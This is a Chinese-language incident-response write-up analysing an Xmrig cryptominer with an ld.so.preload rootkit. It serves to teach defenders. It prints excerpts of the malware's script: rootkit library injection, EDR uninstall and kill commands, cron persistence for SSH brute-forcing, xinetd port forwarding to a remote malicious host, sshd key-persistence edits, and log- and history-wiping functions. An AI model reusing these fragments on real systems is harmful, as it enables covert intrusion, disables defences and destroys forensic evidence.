Hi,我是观宇战队的kenant,今天继续为大家分享恶意文件分析系列文章,第二篇我们通过一个案例了解Xmrig家族挖矿病毒。
挖矿病毒是一种运行在”受害“主机,进行虚拟货币挖取的病毒,常见的虚拟货币包括比特币、以太币、门罗币、达世币等。通过专用“矿机”或“受害主机”等计算机设备计算生产虚拟货币的过程,会占用计算机大量资源,从而导致计算机操作卡顿以及资源不足等问题,导致主机承载业务无法正常运行。因此与普通病毒木马或勒索病毒不同,挖矿病毒的目的主要是利用主机的计算资源进行虚拟货币的挖掘而非对计算机进行破坏或对主机使用者进行勒索从而获取利益。
与传统的病毒木马类似,挖矿病毒试图对开放在公网的主机进行感染的方式包括:
通过在破解软件中植入挖矿程序或挖矿前置后门程序
通过钓鱼文档传递挖矿程序
通过0day/Nday漏洞进行公网的扩散和传播
通过U盘进行病毒传播
在挖矿病毒进入某一局域网后,进行进一步扩散感染的方式则包括:
根据操作系统类型不同进行各种口令破解(ssh口令破解、RDP口令破解以及数据库弱口令破解等)
利用操作系统常见漏洞进行扩散(如windows中的MS17-010等)
利用主机开放的可能存在漏洞的服务进行扩散
其攻击的流程通常如下图所示:
上图的步骤可以概括如下:
通过暴露在公网的漏洞获取主机权限
对该主机植入挖矿病毒前置运行程序
运行挖矿病毒前置程序进行挖矿病毒运行环境检查(关闭杀毒软件防火墙等,同时开放对应的端口)、依赖环境安装、将病毒加载器设置为系统服务或设置为启动项等方式进行持久化、植入rootkit、清理痕迹等等
判断是否满足挖矿病毒的运行条件,如满足,则运行挖矿病毒,不满足运行条件,则可能通过重启等方式,再次尝试运行挖矿病毒前置程序设置环境,如多次尝试仍不成功,则会终止尝试
这里有的读者可能会问,为什么攻击者不直接在获取权限后,植入编译好的挖矿病毒可执行程序以达到挖矿的目的。这里分享我个人的见解如下:
攻击者通过挖矿病毒前置程序的运行实现自动化,由于挖矿病毒的目的是尽可能多的利用计算机资源进行虚拟货币挖取,因此自动化可以实现攻击者利用最少的时间做最多的事情而无需持续关注每一个被攻击的主机的情况,当前置程序暴露或运行失败后就无需再关注该主机,因为即使后续利用成功,也会花费大量时间。
仅植入挖矿病毒程序无法实现较好的伪装,难以实现rootkit等功能,且可能由于杀软、防火墙等原因导致病毒程序被查杀。
需要实现横向扩散,挖矿病毒通常是借助其他工具进行横向扩散,极少部分可能在挖矿病毒的基础上进一步开发了横向扩散的功能,个人认为由于病毒程序同时具备挖矿及横向扩散的能力,会导致杀毒软件特征匹配到的概率变大,从而导致查杀率变高;与此同时,将挖矿病毒与横向扩散工具结合需要一定的二次开发能力,具有一定的门槛。
本次分析的挖矿病毒实例来自于某客户应急响应过程中,本节主要记录了拿到该挖矿病毒后如何进行的分析,同时也会分享一些笔者的经验。
本次分析的挖矿病毒实例来自于某客户应急响应过程中,客户的态势感知发现存在挖矿病毒外连的告警,但是针对告警的主机,存在使用top命令无法发现占用高CPU或内存的进程、ps命令无法发现恶意进程、netstat命令无恶意ip连接等行为,给挖矿程序的定位带来了一定程度的困难;后续在定位到恶意文件所在目录时,使用ls -a命令无法显示该文件存在,但可以使用cat命令显示该文件内容。应客户要求,需分析出病毒程序如何实现上述行为、对该病毒进行彻底清除并输出分析报告。
由于现场工程师在排查时未发现高CPU或内存的占用进程,但确实发现存在挖矿病毒以及相应配置文件,因此猜测该挖矿病毒存在rootkit的行为。
在客户现场发现的挖矿病毒主要包含Xbash、Cronman以及挖矿病毒可执行程序三个恶意文件,现分别对现场发现的病毒相关文件进行分析如下。
首先是一个Xbash的文件,部分内容截取如下。
在图中我们可以看到,最上面的三行存在注释,这就大大减少了我们的工作量,经分析发现是Makeself2.4.5生成的可执行软件。这时候我们就可以去搜索引擎上寻找Makeself的功能。
经查询,Makeself类似于一个打包软件,可以将一个文件夹的内容打包成一个可执行程序,使用Makeself打包的程序包含两段内容,前面的内容是Makeself实现对应功能对应的bash函数,其后会跟一段二进制的数据,对应打包压缩后文件夹的二进制数据。详细内容可以参考https://github.com/megastep/makeself。
使用Makeself打包运行有很多优势,比如:
可以打包一个文件夹中的多个内容
可以自定义解压的文件夹
可以使用参数让该程序运行时不出现在进程中
可以在解压缩并运行该程序后,使该程序内容直接被清除,不留下恶意文件,让排查难以进行
同时可以在压缩时设定密码,避免除自己之外的其他人能够运行该程序
压缩可以减小文件体积等等
个人猜想这也是攻击者使用该工具打包运行的原因。
之后我们通过Xbash将压缩的文件解压缩出来,由于该文件为挖矿病毒的前置文件,在不知晓情况的前提下,建议使用--noexec以及--confirm选项,不让其解压缩后直接执行,否则主机有感染挖矿病毒的风险。笔者这里采用的下图所示方式解压缩。
就可以在当前目录下得到之前打包的文件夹prog,该文件夹中有需要执行的恶意bash文件cronman。
当时对cronman程序进行初步分析,发现其存在下载挖矿程序的行为,下载的文件包括libgcc_a、xfit.sh、xfitaarch.sh。文件均为ELF文件,当时主要想分析其rootkit的行为,因此将分析重心集中到三个可执行文件上了。所以笔者这里按照当时的分析顺序先对ELF文件进行分析,后续再对cronman程序进行分析。
由于有三个可执行程序,首先想到的是分析一下三个程序之间的关联。xfit.sh和xfitaarch.sh文件名字不同,且出现了arch,自然就联想到二者可能是不同架构下的可执行程序,后续根据cronman启动程序验证了这点,对应的代码如下。
if [ $(arch) == "aarch64" ]; then
DOWNLOAD_FILE_NAME="xfitaarch"
else
DOWNLOAD_FILE_NAME="xfit"
fi
又因为libgcc_a文件的大小与xfit.sh的文件大小相同,猜测为同一个可执行程序,因此我们通过hash计算工具计算一下文件hash进行对比,可以发现二者hash值一致,因此到这里,可执行程序我们只需分析libgcc_a即可。
然后准备通过动静结合进行分析的方式,看看能否从可执行程序中发现实现rootkit的方式。
首先可以利用已有的成熟沙箱对可执行程序进行扫描,初步确定该可执行程序的可疑行为以及病毒家族,为后续分析提供便利。
这里我先通过微步沙箱进行了样本分析,发现其存在的可疑行为包括:
xmrig挖矿程序
通过/sys文件系统获取CPU信息
使用uname系统调用获取内核信息
通过/proc文件系统获取内存信息
通过/proc文件系统获取CPU信息
通过/proc文件系统获取系统挂载的设备信息
看到这里我开始疑惑,这个沙箱似乎并没有分析出该可执行程序的rootkit行为,系统敏感操作也未发现相关行为,当然也不排除这个病毒有反沙箱的能力。因此为了追求事情的真相,同时也为了满足客户的要求,我们进一步对该可执行程序进行分析。
我开始尝试使用IDA逆向该病毒程序,看能否获得一些有用的信息。因此我尝试使用nm查看该病毒程序是否去掉了符号表。
经尝试发现该程序应该是去掉了符号表,后续开始寻找恢复符号表的方法,否则所有的函数均为sub开头的函数,根本无法进行分析,参见下图,所有函数均为sub开头的函数,无法进行有效分析。
由于前面运行沙箱之后,我们知道该挖矿病毒是xmrig家族的,xmrig的挖矿程序是在github上面开源的,其符号表是未去除的,于是我猜想只要我们可以找到相同版本的病毒程序,通过插件根据其已有的符号表以及函数签名生成一个符号表再导入至需分析的程序即可。
于是我尝试使用虚拟机运行该挖矿程序(运行之前需做好网络隔离,避免病毒程序在局域网或公网进行传播),运行截图如下。
报错显示未找到配置文件,无法运行,因此我们在Cronman中找到了对应的配置文件(可以直接在cronman中搜索对应的json文件,如config.json),放在同一个目录,然后继续运行。
然后我们可以看到许多对恢复符号有用的信息,包括病毒的版本号,编译器版本号,使用的库名以及版本。
在知晓挖矿程序版本后,我又去下载了同版本的挖矿程序,发现文件大小不同,可以猜测这个挖矿程序大概率是基于原始挖矿程序的变种,进行了二次开发,然后我又运行了原版的挖矿程序来比较分析。
可以发现两个挖矿程序的版本相同,但github上面挖矿程序的编译器版本与libgcc_a的不同,同时libgcc_a多了hwloc这个库。经过搜索,hwloc这个库主要功能是解决不同架构中查询硬件资源的问题,具体可以参考https://github.com/open-mpi/hwloc。多出来的这个库API的调用也体现在了挖矿程序的运行界面中,可以明显看到libgcc_a多了CPU信息、内存信息等的显示。
基于以上信息,我尝试通过rizzo插件以及符号制作的方式结合已有源码进行符号还原,但效果都不太理想,大概10000个函数能够还原符号的仅2000个左右。大概还有4/5的函数无法识别,个人猜想可能与编译器版本,编译环境以及插件的匹配方式都有关系。
自己基于已知信息的方式恢复符号基本宣告失败,接下来我又尝试了IDA自带的Lumina进行函数识别,由于这个库所有人都可以push数据,所以可能准确率较低,比我之前自己制作符号文件的方式还原率更低。
最后采用了IDA的Finger插件,由于是使用阿里的符号特征库,该特征库公众人员无法提交特征,因此准确率较高,且命名较规范,还原出来的可用性较高,大概10000个函数能够识别8000多个。
还原效果如下图所示:
还原后对该可执行程序进行初步分析,未发现rootkit相关字符串及相关函数,根据主函数内容分析,发现其只是在基础挖矿程序的基础上添加了一些选项,同时增加了一些CPU以及内存信息的显示,其他功能与挖矿程序大同小异。然后我尝试在虚拟机直接运行挖矿程序而非通过脚本启动,看是否会出现rootkit相关行为,结果发现ps可以发现该进程,与客户侧发现存在差异。
这说明我们需要分析的rootkit行为并不在这个可执行程序中实现。此时我开始针对cronman程序进行分析。
接下来对cronman程序进行分析,用编辑器打开可以发现是一个bash文件。
由于文件比较大,一行行阅读效率比较低,我决定先将这个bash文件放到沙箱中去看看是否能够有什么发现。
这一放还挺意外的,之前没有人提交过这个bash程序到沙箱中。并且只有ESET这个杀毒引擎检测到了挖矿病毒的行为。
然后在行为分析部分,发现疑似实现rootkit的地方,那就是对/etc/ld.so.preload文件的访问。
对linux系统熟悉一点的朋友可能知道,linux系统在进程启动后,会按照一定的顺序加载动态库:
加载环境变量LD_PRELOAD指定的动态库
加载文件/etc/ld.so.preload指定的动态库
搜索环境变量LD_LIBRARY_PATH指定的动态库搜索路径
搜索路径/lib64下的动态库文件
因此通过修改/etc/ld.so.preload可以修改程序启动后加载的动态库从而实现hook行为。
由于沙箱未对该程序的详细行为给出结果,接下来我们进一步根据已知信息进行行为分析,通过对/etc/ld.so.preload字符串进行查找,定位到了下列代码。
if [ $(arch) == "aarch64" ]; then
grep '/usr/local/lib/pkitarm.so' /etc/ld.so.preload >/dev/null 2>&1 || echo '/usr/local/lib/pkitarm.so' >>/etc/ld.so.preload
grep '/usr/local/lib/fkitarm.so' /etc/ld.so.preload >/dev/null 2>&1 || echo '/usr/local/lib/fkitarm.so' >>/etc/ld.so.preload
grep '/usr/local/lib/skitarm.so' /etc/ld.so.preload >/dev/null 2>&1 || echo '/usr/local/lib/skitarm.so' >>/etc/ld.so.preload
else
grep '/usr/local/lib/pkit.so' /etc/ld.so.preload >/dev/null 2>&1 || echo '/usr/local/lib/pkit.so' >>/etc/ld.so.preload
grep '/usr/local/lib/fkit.so' /etc/ld.so.preload >/dev/null 2>&1 || echo '/usr/local/lib/fkit.so' >>/etc/ld.so.preload
grep '/usr/local/lib/skit.so' /etc/ld.so.preload >/dev/null 2>&1 || echo '/usr/local/lib/skit.so' >>/etc/ld.so.preload
fi
上述代码的功能为根据架构向/etc/ld.so.preload文件中写入对应架构的.so文件。
后续通过与客户同步相关情况,清除对应so文件后,系统命令恢复正常,到此rootkit的行为分析结束。
前面对该挖矿病毒的rootkit行为分析完成,下面简单对cronman的其他恶意行为进行归纳概括,可供各位读者后续在处理挖矿病毒时参考。
该病毒对环境测试主要包括以下行为:
测试网络连通情况,同时进行相关依赖软件的安装
ping -c 1 -q 8.8.8.8 >&/dev/null
if [[ $? -eq 0 ]]; then
which yum >/dev/null 2>&1
if [[ $? -eq 0 ]]; then
packageList="nc wget xinetd"
for packageName in $packageList; do
rpm --quiet --query "$packageName" || sudo yum install -y "$packageName" >/dev/null 2>&1
done
else
packageList="nc wget xinetd"
for packageName in $packageList; do
dpkg -l | grep -qw "$packageName" || sudo apt-get install -y "$packageName" >/dev/null 2>&1
done
fi
fi
进行杀毒软件识别,同时尝试对杀毒软件进行卸载或删除,下面列举部分代码供参考,主要是通过对文件存储位置的定位或进程的定位
if [ -f /KvEdr/uninstall.sh ]; then
/KvEdr/uninstall.sh
rm -fr /KvEdr
fi
if [ -f /sangfor/edr/agent/bin/eps_uninstall.sh ]; then
/sangfor/edr/agent/bin/eps_uninstall.sh
fi //基于文件的定位
ps cax | grep guard_client
if [ $? -eq 0 ]; then
pkill guard_client
fi //基于进程信息定位
检查firewall以及iptables的安装情况,根据实际情况开放对应端口,下面部分代码功能为检测firewall以及iptables的安装情况
if [ -n "$(which yum 2>/dev/null)" ]; then
if rpm -qa | grep -qw iptables; then
CHECKIPTABLES=1
else
CHECKIPTABLES=0
fi
if rpm -qa | grep -qw firewalld; then
CHECKFIREWALLD=1
else
CHECKFIREWALLD=0
fi
else
if dpkg -l | grep -qw iptables; then
CHECKIPTABLES=1
else
CHECKIPTABLES=0
fi
if dpkg -l | grep -qw firewalld; then
CHECKFIREWALLD=1
else
CHECKFIREWALLD=0
fi
fi
该病毒实现横向扩散行为主要通过下载开源spirit软件,根据设置的时间定期进行ssh口令爆破。
MINUTE=$(cat /usr/spirit/min)
HOUR=$(cat /usr/spirit/hour)
if [ -n "$(which printf)" ]; then
crontab -l | grep -q 'spirit' && echo 'entry exists' || (
crontab -l
printf "$MINUTE */$HOUR * * * /usr/spirit/spirit.sh;\r%100c\n"
) | sort -u | crontab -
else
crontab -l | grep -q 'spirit' && echo 'entry exists' || (
crontab -l
echo "$MINUTE */$HOUR * * * /usr/spirit/spirit.sh"
) | sort -u | crontab -
fi
该病毒在实现持久化部分主要表现为以下几个行为:
对/etc/init.d/文件夹中写入恶意启动程序实现开机自启动
向etc/xinetd.d/文件夹写入timesync、http_stream、https_stream、smtp_forward几个配置文件,实现将80、443、708、757、8080端口的访问转发到远程恶意主机上,通过这样的配置,当有客户端对本机的相应端口访问时,就会重定向至恶意主机实现代理,下面展示部分配置文件
cat <<EOF >/etc/xinetd.d/http_forward
service http_forward
{
disable = no
type = UNLISTED
socket_type = stream
protocol = tcp
user = nobody
wait = no
redirect = $MINEIP 80
port = 703
per_source = UNLIMITED
instances = UNLIMITED
cps = 10000 1
}
EOF
向/.ssh/authorized_keys写入ssh公钥,修改/etc/ssh/sshd_config配置文件实现持久化
edit_sshd_config() {
for PARAM in ${param[@]}; do
sed -i '/^'"${PARAM}"'/d' ${file}
#echo "All lines beginning with '${PARAM}' were deleted from ${file}."
done
echo "${param[1]} yes" >>${file}
#echo "'${param[1]} yes' was added to ${file}."
echo "${param[2]} yes" >>${file}
#echo "'${param[2]} yes' was added to ${file}."
echo "${param[3]} .ssh/g" >>${file}
#echo "'${param[3]} .ssh/authorized_keys' was added to ${file}."
echo "${param[4]} yes" >>${file}
#echo "'${param[4]} yes' was added to ${file}"
SSHVER=$(ssh -V 2>&1 | sed 's/OpenSSH_\([0-9]\+\).*/\1/')
if [ "$SSHVER" -ge "7" ]; then
echo "${param[5]} ssh-rsa" >>${file}
#echo "'${param[5]} ssh-rsa' was added to ${file}"
echo "${param[6]} ssh-rsa" >>${file}
#echo "'${param[6]} ssh-rsa' was added to ${file}"
fi
}
向/etc/cron.hourly/、/etc/cron.daily/、/var/spool/cron/crontabs等文件夹写入定时任务
grep '/etc/cron.daily/xbash' /etc/cron.hourly/0anacron >/dev/null 2>&1 || printf "/etc/cron.daily/xbash >/dev/null 2>&1;\r%100c\n" >>/etc/cron.hourly/0anacron
该病毒通过history命令以及将列表中的日志文件删除从而进行痕迹清理。
相关的日志文件包括:
LOGS_FILES=(
/var/log/messages # General message and system related stuff
/var/log/auth.log # Authenication logs
/var/log/kern.log # Kernel logs
/var/log/cron.log # Crond logs
/var/log/maillog # Mail server logs
/var/log/boot.log # System boot log
/var/log/mysqld.log # MySQL database server log file
/var/log/qmail # Qmail log directory
/var/log/httpd # Apache access and error logs directory
/var/log/lighttpd # Lighttpd access and error logs directory
/var/log/secure # Authentication log
/var/log/utmp # Login records file
/var/run/utmp # Login records file
/var/log/wtmp # Login records file
/var/log/btmp # Login records file
/var/log/yum.log # Yum command log file
/var/log/system.log # System Log
/var/log/DiagnosticMessages # Mac Analytics Data
/Library/Logs # System Application Logs
/Library/Logs/DiagnosticReports # System Reports
/root/Library/Logs # User Application Logs
/root/Library/Logs/DiagnosticReports # User Reports
/var/log/lastlog
)
清理日志的函数如下:
function disableHistory() {
ln /dev/null ~/.bash_history -sf
echo "[+] Permanently sending bash_history to /dev/null"
if [ -f ~/.zsh_history ]; then
ln /dev/null ~/.zsh_history -sf
echo "[+] Permanently sending zsh_history to /dev/null"
fi
export HISTFILESIZE=0
export HISTSIZE=0
echo "[+] Set HISTFILESIZE & HISTSIZE to 0"
set +o history
echo "[+] Disabled history library"
}
function clearLogs() {
for i in "${LOGS_FILES[@]}"; do
if [ -f "$i" ]; then
if [ -w "$i" ]; then
echo "" >"$i"
echo "[+] $i cleaned."
else
echo "[!] $i is not writable! Retry using sudo."
fi
elif [ -d "$i" ]; then
if [ -w "$i" ]; then
rm -rf "${i:?}"/*
echo "[+] $i cleaned."
else
echo "[!] $i is not writable! Retry using sudo."
fi
fi
done
}
function clearHistory() {
if [ -f ~/.zsh_history ]; then
echo "" >~/.zsh_history
echo "[+] ~/.zsh_history cleaned."
fi
echo "" >~/.bash_history
echo "[+] ~/.bash_history cleaned."
history -c
echo "[+] History file deleted."
}
本次分析基于在客户处发现的样本以及在客户环境表现出来的rootkit行为进行,通过动态、静态相结合的方法以及差异对比分析的方法对程序的rootkit实现点进行定位,最后在Cronman脚本中成功发现实现rootkit的方式,确认为修改程序启动后加载的动态库从而实现hook行为,后续通过与客户同步相关情况,清除对应so文件后,系统命令恢复正常,到此rootkit的行为分析结束;后续部分针对Cronman脚本的恶意行为结合源码进行了分类总结,可供各位读者后续应急响应时参考。
通常挖矿病毒包含两部分,一部分为预加载的脚本,另一部分是挖矿软件,我们在处置挖矿病毒时,仅仅结束掉挖矿的进程可能会导致一段时间后挖矿进程重启,因此要彻底解决挖矿病毒,需要找到启动挖矿程序的脚本文件,将脚本文件进行清除,清除过程中可以结合已发现脚本文件的行为进行定时任务等持久化操作的清除,此步骤可结合笔者在第三节中Cronman其他行为记录的部分进行排查修复。
挖矿病毒相对来说是所有病毒中最温柔的病毒,各位读者在遇到挖矿病毒时无需过于惊慌,可以结合本文自行进行挖矿病毒清除或联系相关专家进行病毒清除。